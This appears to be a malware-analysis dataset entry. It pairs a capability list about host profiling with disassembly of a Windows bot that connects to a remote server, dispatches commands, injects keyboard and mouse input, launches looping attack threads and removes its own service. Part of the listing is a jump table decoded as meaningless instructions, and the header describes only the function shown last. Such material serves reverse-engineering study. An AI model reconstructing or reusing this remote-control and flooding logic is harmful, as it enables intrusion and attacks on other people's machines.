Function at 0x405030
Capabilities:
Get cpu information
Get hostname
Get memory capacity
Get system information on windows
Query or enumerate registry value

Disassembly:
mov eax, 0x2244
call fcn.00407880
mov ax, word [0x411d74]
push ebx
push ebp
push esi
push edi
push eax
mov word [esp + 0x28], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0x411c70
mov word [esp + 0x2a], ax
call fcn.00403380
add esp, 4
xor ebx, ebx
mov dword [esp + 0x28], eax
push ebx
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
lea ecx, [esp + 0x24]
mov ebp, eax
push 0x10
push ecx
push ebp
mov dword [esp + 0x2c], ebp
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40431d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2244
ret 4
push 0x4b
push ebp
call fcn.00402e60
mov ecx, 0x39
xor eax, eax
lea edi, [esp + 0x1f8]
lea edx, [esp + 0x1f8]
rep stosd dword es:[edi], eax
push edx
call 0x405030
add esp, 0xc
lea eax, [esp + 0x290]
push 0x411d7c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call fcn.00407450
mov dword [esp + 0x2d0], eax
mov ecx, 0x5db
xor eax, eax
lea edi, [esp + 0xae5]
rep stosd dword es:[edi], eax
mov ecx, dword [0x411d78]
lea edx, [esp + 0x10]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [esp + 0x18], ecx
lea eax, [esp + 0x1f0]
mov ecx, 0x39
lea esi, [esp + 0x1f0]
lea edi, [esp + 0xae4]
push edx
push eax
push ebp
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x1c], 0x11000000
mov dword [esp + 0x20], 0xe4
call fcn.00402fb0
add esp, 0xc
test eax, eax
jne 0x4043d9
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2244
ret 4
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [esp + 0x20]
lea ecx, [esp + 0x10]
lea edx, [esp + 0xae4]
push ecx
push edx
push edi
call fcn.00403000
add esp, 0xc
test eax, eax
je 0x404ef5
mov eax, dword [esp + 0x10]
cmp eax, 0x30000001
ja 0x40484d
je 0x40482d
cmp eax, 0x20000015
ja 0x4046e6
je 0x4046c3
add eax, 0xe0000000
cmp eax, 0x14
ja case.default.0x40486c
xor ecx, ecx
mov cl, byte [eax + 0x404ff8]
jmp dword [ecx*4 + 0x404fd4]
mov edx, dword [esp + 0x14]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x4dc]
rep stosd dword es:[edi], eax
inc edx
lea eax, [esp + 0xae4]
push edx
lea ecx, [esp + 0x4e0]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 3
push ebx
lea edx, [esp + 0x4e4]
push ebx
push edx
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp case.default.0x40486c
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x8e4]
lea edx, [esp + 0x8e4]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xae4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x7e0]
lea edx, [esp + 0x7e0]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xae4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2d5]
mov byte [esp + 0x2d4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x2d4]
push 0x41286c
push eax
call fcn.004052e0
lea ecx, [esp + 0x2dc]
lea edx, [esp + 0x7e8]
push ecx
push edx
call fcn.00405350
lea eax, [esp + 0x2e4]
push eax
call fcn.004055e0
add esp, 0x14
test eax, eax
je case.default.0x40486c
lea ecx, [esp + 0x2d4]
push ecx
call fcn.00404180
add esp, 4
jmp case.default.0x40486c
lea ecx, [esp + 0x160]
call fcn.00406e20
mov edx, dword [esp + 0x18]
push ebx
push ebx
push ebx
push edx
call dword [sym.imp.USER32.dll_keybd_event]
lea ecx, [esp + 0x160]
call fcn.00406e70
jmp case.default.0x40486c
lea ecx, [esp + 0x130]
call fcn.00406e20
mov eax, dword [esp + 0x18]
push ebx
push 2
push ebx
push eax
call dword [sym.imp.USER32.dll_keybd_event]
lea ecx, [esp + 0x130]
call fcn.00406e70
jmp case.default.0x40486c
lea ecx, [esp + 0xd0]
call fcn.00406e20
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push ecx
push edx
call dword [sym.imp.USER32.dll_SetCursorPos]
lea ecx, [esp + 0xd0]
call fcn.00406e70
jmp case.default.0x40486c
lea ecx, [esp + 0x190]
call fcn.00406e20
push ebx
push ebx
push ebx
push ebx
push 2
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x190]
call fcn.00406e70
jmp case.default.0x40486c
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x9e4]
lea edx, [esp + 0x9e4]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xae4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6dc]
lea edx, [esp + 0x6dc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xae4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x3d9]
mov byte [esp + 0x3d8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x3d8]
push 0x41286c
push eax
call fcn.004052e0
lea ecx, [esp + 0x3e0]
lea edx, [esp + 0x6e4]
push ecx
push edx
call fcn.00405350
add esp, 0x10
test eax, eax
je case.default.0x40486c
lea eax, [esp + 0x3d8]
push eax
call fcn.004055e0
add esp, 4
test eax, eax
jne 0x404f6d
jmp case.default.0x40486c
lea ecx, [esp + 0x70]
call fcn.00406e20
push ebx
push ebx
push ebx
push ebx
push 4
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x70]
call fcn.00406e70
jmp case.default.0x40486c
cmp eax, 0x20000019
ja 0x4047da
je 0x404797
sub eax, 0x20000016
je 0x40475a
dec eax
je 0x404731
dec eax
jne case.default.0x40486c
lea ecx, [esp + 0xa0]
call fcn.00406e20
push ebx
push ebx
push ebx
push ebx
push 0x10
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0xa0]
call fcn.00406e70
jmp case.default.0x40486c
lea ecx, [esp + 0x100]
call fcn.00406e20
push ebx
push ebx
push ebx
push ebx
push 8
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x100]
call fcn.00406e70
jmp case.default.0x40486c
lea ecx, [esp + 0x40]
call fcn.00406e20
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push ebx
push ebx
push ebx
push ebx
push 2
call edi
push ebx
push ebx
push ebx
push ebx
push 4
call edi
push ebx
push ebx
push ebx
push ebx
push 2
call edi
push ebx
push ebx
push ebx
push ebx
push 4
call edi
lea ecx, [esp + 0x40]
call fcn.00406e70
jmp case.default.0x40486c
lea ecx, [esp + 0x1c0]
call fcn.00406e20
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push ebx
push ebx
push ebx
push ebx
push 8
call edi
push ebx
push ebx
push ebx
push ebx
push 0x10
call edi
push ebx
push ebx
push ebx
push ebx
push 8
call edi
push ebx
push ebx
push ebx
push ebx
push 0x10
call edi
lea ecx, [esp + 0x1c0]
call fcn.00406e70
jmp case.default.0x40486c
cmp eax, 0x22000001
je 0x404818
cmp eax, 0x23000000
je 0x404804
cmp eax, 0x28000000
jne case.default.0x40486c
push ebx
push ebx
push ebx
push 0x4060f0
push ebx
push ebx
call esi
jmp case.default.0x40486c
push ebx
push ebx
push ebx
push 0x405860
push ebx
push ebx
call esi
push eax
call ebp
jmp case.default.0x40486c
mov ecx, dword [esp + 0x18]
push ebx
push ebx
push ecx
push 0x405ea0
push ebx
push ebx
call esi
jmp case.default.0x40486c
mov eax, dword [0x4225f4]
mov dword [0x412728], ebx
cmp eax, ebx
je case.default.0x40486c
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
jmp case.default.0x40486c
cmp eax, 0x32000001
ja 0x404b42
je 0x404adf
add eax, 0xceffffff
cmp eax, 5
ja case.default.0x40486c
jmp dword [eax*4 + 0x405010]
push ebx
lea eax, [esp + 0xbb8]
push ebx
push eax
push 0x404280
lea edx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], 1
mov dword [0x4225ec], edx
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225f8]
cmp eax, ebx
jne 0x404ce5
mov eax, dword [0x4225ec]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x40486c
push ebx
push ebx
push eax
push 0x401d60
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4225ec]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4048c2
jmp case.default.0x40486c
push ebx
lea eax, [esp + 0xbb8]
push ebx
push eax
push 0x404280
lea edx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], 1
mov dword [0x4225ec], edx
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225ec]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x40486c
push ebx
push ebx
push eax
push 0x402080
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4225ec]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x404926
jmp case.default.0x40486c
push ebx
lea edx, [esp + 0xbb8]
push ebx
push edx
push 0x404280
lea ecx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], 1
mov dword [0x4225ec], ecx
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225ec]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x40486c
push ebx
push ebx
push eax
push 0x401d60
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4225ec]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x40498a
jmp case.default.0x40486c
push ebx
lea ecx, [esp + 0xbb8]
push ebx
push ecx
push 0x404280
lea eax, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], 1
mov dword [0x4225ec], eax
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225ec]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x40486c
push ebx
push ebx
push eax
push 0x401ec0
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4225ec]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4049ed
jmp case.default.0x40486c
push ebx
lea eax, [esp + 0xbb8]
push ebx
push eax
push 0x404280
lea edx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], 1
mov dword [0x4225ec], edx
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225ec]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x40486c
push ebx
push ebx
push eax
push 0x402210
push ebx
push ebx
call esi
push eax
call ebp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4225ec]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x404a51
jmp case.default.0x40486c
push ebx
lea edx, [esp + 0xbb8]
push ebx
push edx
push 0x404280
lea ecx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], 1
mov dword [0x4225ec], ecx
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225ec]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x40486c
push ebx
push ebx
push eax
push 0x402380
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4225ec]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x404abd
jmp case.default.0x40486c
push ebx
lea ecx, [esp + 0xbb8]
push ebx
push ecx
push 0x404280
lea eax, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], 1
mov dword [0x4225ec], eax
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225ec]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x40486c
push ebx
push ebx
push eax
push 0x401460
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4225ec]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x404b20
jmp case.default.0x40486c
cmp eax, 0x34000001
ja 0x404d59
je 0x404d78
cmp eax, 0x33000002
ja 0x404ca1
je 0x404c3e
cmp eax, 0x32000002
je 0x404bda
cmp eax, 0x33000001
jne case.default.0x40486c
push ebx
lea eax, [esp + 0xbb8]
push ebx
push eax
push 0x404280
lea edx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], 1
mov dword [0x4225ec], edx
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225ec]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x40486c
push ebx
push ebx
push eax
push 0x402440
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4225ec]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x404bb8
jmp case.default.0x40486c
push ebx
lea edx, [esp + 0xbb8]
push ebx
push edx
push 0x404280
lea ecx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], 1
mov dword [0x4225ec], ecx
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225ec]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x40486c
push ebx
push ebx
push eax
push 0x401290
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4225ec]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x404c1c
jmp case.default.0x40486c
push ebx
lea ecx, [esp + 0xbb8]
push ebx
push ecx
push 0x404280
lea eax, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], 1
mov dword [0x4225ec], eax
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225ec]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x40486c
push ebx
push ebx
push eax
push 0x401d60
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4225ec]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x404c7f
jmp case.default.0x40486c
cmp eax, 0x33000003
jne case.default.0x40486c
push ebx
lea eax, [esp + 0xbb8]
push ebx
push eax
push 0x404280
mov edi, 1
lea edx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], edi
mov dword [0x4225ec], edx
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225f8]
cmp eax, edi
jne 0x404cff
mov ecx, dword [0x4225ec]
push ebx
push ebx
push ecx
push 0x401ca0
push ebx
push ebx
call esi
push eax
call ebp
jmp case.default.0x40486c
mov ecx, dword [0x4225ec]
xor edi, edi
mov eax, dword [ecx + 0xcc]
cdq
sub eax, edx
sar eax, 1
test eax, eax
jle case.default.0x40486c
push ebx
push ebx
push ecx
push 0x401d60
push ebx
push ebx
call esi
push eax
call ebp
mov edx, dword [0x4225ec]
push ebx
push ebx
push edx
push 0x402210
push ebx
push ebx
call esi
push eax
call ebp
mov ecx, dword [0x4225ec]
inc edi
mov eax, dword [ecx + 0xcc]
cdq
sub eax, edx
sar eax, 1
cmp edi, eax
jl 0x404d1a
jmp case.default.0x40486c
cmp eax, 0x36000001
ja 0x404ea3
je 0x404e3f
sub eax, 0x34000002
je 0x404ddb
dec eax
jne case.default.0x40486c
push ebx
lea ecx, [esp + 0x1f44]
push ebx
push ecx
push 0x404280
lea eax, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], 1
mov dword [0x4225f0], eax
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225f0]
xor edi, edi
cmp dword [eax + 0x1458], ebx
jle case.default.0x40486c
push ebx
push ebx
push eax
push 0x4026b0
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4225f0]
inc edi
cmp edi, dword [eax + 0x1458]
jl 0x404db9
jmp case.default.0x40486c
push ebx
lea eax, [esp + 0x1f44]
push ebx
push eax
push 0x404280
lea edx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], 1
mov dword [0x4225f0], edx
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225f0]
xor edi, edi
cmp dword [eax + 0x1458], ebx
jle case.default.0x40486c
push ebx
push ebx
push eax
push 0x4027d0
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4225f0]
inc edi
cmp edi, dword [eax + 0x1458]
jl 0x404e1d
jmp case.default.0x40486c
push ebx
lea edx, [esp + 0xbb8]
push ebx
push edx
push 0x404280
lea ecx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x412728], 1
mov dword [0x4225ec], ecx
call esi
mov dword [0x4225f4], eax
mov eax, dword [0x4225ec]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x40486c
push ebx
push ebx
push eax
push 0x401660
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4225ec]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x404e81
jmp case.default.0x40486c
cmp eax, 0x37000002
jne case.default.0x40486c
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5dc]
lea edx, [esp + 0x5dc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xae4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push ebx
lea eax, [esp + 0x5e0]
push ebx
push eax
push 0x405730
push ebx
push ebx
call esi
push eax
call ebp
jmp case.default.0x40486c
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
jmp 0x4043c1
mov ecx, dword [0x422604]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
cmp dword [0x422600], ebx
je 0x404f4e
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0x10000
push 0x411658
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
call fcn.00406370
lea edx, [esp + 0x34]
push 0x412868
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x422604]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
cmp dword [0x422600], ebx
je 0x404fb6
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0x10000
push 0x411658
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
lea ecx, [esp + 0x3d8]
push ecx
call fcn.00404180
add esp, 4
call fcn.00406370
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
mov edi, edi
add al, 0x4f
inc eax
add byte [edi + 0x46004044], cl
inc esp
inc eax
add byte [edx], al
inc esi
inc eax
add byte [ebp + 0x45], dl
inc eax
add byte [eax - 0x53ffbfbb], al
inc ebp
inc eax
add cl, bl
inc ebp
inc eax
add ch, ah
inc ebx
inc eax
add byte [eax], al
or byte [eax], cl
or byte [ecx], al
add cl, byte [eax]
add ecx, dword [eax]
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
add al, 5
push es
pop es
lea ecx, [ecx]
jae 0x40505a
inc eax
add ah, ah
dec eax
inc eax
add byte [eax + 0x49], cl
inc eax
add byte [ecx + ecx*2 + 0x4a0f0040], ch
inc eax
add byte [ebx + 0x4a], bh
inc eax
add byte [eax - 0x6f6f6f70], dl
nop
nop
nop
sub esp, 0x2e4
push ebx
push ebp
mov ebp, dword [esp + 0x2f0]
push esi
push edi
mov ecx, 0x39
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x40
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], 0x20
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x30]
lea eax, [ebp + 0x40]
shr edx, 0x14
inc edx
push edx
push str._uMB
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xf9]
mov byte [esp + 0xf8], 0
rep stosd dword es:[edi], eax
add esp, 0xc
lea ecx, [esp + 0xec]
stosw word es:[edi], ax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push ecx
stosb byte es:[edi], al
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x14]
push edx
push 0xf003f
lea eax, [esp + 0xf4]
push 0
push eax
push connect
call ebx
test eax, eax
jne 0x405125
lea ecx, [esp + 0x20]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push str.MHz
push ecx
mov dword [esp + 0x28], 4
mov dword [esp + 0x38], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x5c]
push ecx
push edx
lea eax, [ebp + 0xc0]
push str._u_u_MHz
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1f0]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x1f0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
xor edi, edi
push ecx
push 0xf003f
push edi
push edx
push connect
call ebx
test eax, eax
jne 0x4051cb
lea eax, [esp + 0x10]
lea ecx, [esp + 0x6c]
push eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x24]
push ecx
push edx
push edi
push 0x4128f8
push eax
mov dword [esp + 0x28], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
je 0x4051fb
mov dword [0x4225f8], 1
lea edx, [ebp + 0x60]
mov edi, str.Windows_2000
jmp 0x4052b3
lea ecx, [esp + 0x6c]
push 0x4128dc
push ecx
call esi
add esp, 8
test eax, eax
je 0x405221
mov dword [0x4225f8], edi
lea edx, [ebp + 0x60]
mov edi, str.Windows_XP
jmp 0x4052b3
lea ecx, [esp + 0x6c]
push str.2003
push ecx
call esi
add esp, 8
test eax, eax
je 0x405248
mov dword [0x4225f8], 1
lea edx, [ebp + 0x60]
mov edi, str.Windows_2003
jmp 0x4052b3
lea ecx, [esp + 0x6c]
push str.Vista
push ecx
call esi
add esp, 8
test eax, eax
je 0x40526b
mov dword [0x4225f8], edi
lea edx, [ebp + 0x60]
mov edi, str.Windows_Vista
jmp 0x4052b3
lea ecx, [esp + 0x6c]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
je 0x405292
mov dword [0x4225f8], 1
lea edx, [ebp + 0x60]
mov edi, str.Windows_2008
jmp 0x4052b3
lea ecx, [esp + 0x6c]
push 0x412884
push ecx
call esi
add esp, 8
test eax, eax
je 0x4052d0
mov dword [0x4225f8], edi
lea edx, [ebp + 0x60]
mov edi, str.Windows_7
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2e4
ret